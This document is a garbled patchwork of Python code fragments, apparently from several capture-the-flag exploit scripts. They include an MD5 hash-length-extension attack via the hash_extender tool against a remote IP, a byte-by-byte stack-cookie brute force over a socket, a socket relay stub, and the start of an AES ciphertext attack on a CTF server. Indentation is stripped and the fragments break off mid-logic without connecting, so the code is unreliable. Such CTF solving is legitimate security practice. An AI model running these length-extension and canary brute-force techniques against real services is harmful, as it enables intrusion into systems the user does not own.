s = subprocess.check_output(["hash_extender", "-d", data, "-s", hash, "-a", append, "-l", str(length), "-f", "md5"])
lines = s.splitlines()
sig = lines[2].strip().split()[-1]
s = lines[3].strip().split()[-1].decode("hex")
return s, sig
p1 = "x\n"
app = "1\n"
f = Sock("54.197.195.247 4321", timeout=1000)
f.read_one()
f.send("1\n")
f.read_one()
f.send("100\n")
f.read_one()
f.send("2\n")
f.read_one()
f.send("0\n")
f.read_one()
f.send("3\n")
f.read_one()
f.send(p1)
n = int(f.read_until_re(r"generated (\d+),").group(1))
lowhash = n2s(n).rjust(16, "\x00").encode("hex")[7:]
print lowhash
import string
from sock import Sock
s = Sock('127.0.0.1', 1235)
l = 0
s.read_until('[2] Memory management\r\n')
s.send('2\r')
r = s.read_until('[2] Memory management\r\n')
used = int(r.split('\r\n')[1].split()[-2])
i = 4088 - used
print "Stack cookie is at offset: %s" % i
cookie = ''
for x in range(60, 256):
s.send('1\r')
s.read_until('Token can only contain the characters [A-Z/a-z/0-9]\r\n\r\n')
if not cookie:
d = 'A' * i
s.send(d + cookie + chr(x) + '\r')
o = s.read_line()
if 'Welcome' in o:
cookie += chr(x)
print "Cookie found: ", repr(cookie)
break
r = s.read_until('[2] Memory management\r\n')
d = (string.uppercase * 10)[:i]
flag = ''
for x in range(4):
v = 0xcf + x * 8
s.send('1\r')
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
import json
from sock import Sock
from config import config
sock = Sock({
"port_in": config['judge_service']['port'],
"port_out": config['firewall']['port'],
"ip_in": config['judge_service']['ip'],
"ip_out": config['firewall']['ip']
})
def process_socket(q):
r = sock.socket_r()
while True:
pkg = sock.get_package(r)
q.put(pkg)
from random import randint
def judge(data):
from sock import Sock
from tqdm import tqdm
from itertools import product
from Crypto.Cipher import AES
so = Sock('01.cr.yp.toc.tf:17010')
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
so.read_until(b'[Q]uit\n')
so.send_line(b'g')
flag = so.read_line().strip().split(b' ')[-1]
flag = bytes.fromhex(flag.decode())
pt = [b'a' * 16 + b'b' * 16, b'a' * 16 + b'c' * 16]
ct = []
i = 0
while len(ct) < 2:
so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(pt[i])
enc = so.read_line().strip().split(b' ')[-1]
key = so.read_line().strip().split(b' ')[-1][:-4]
print(key)
if enc.index(b'*') < 3:
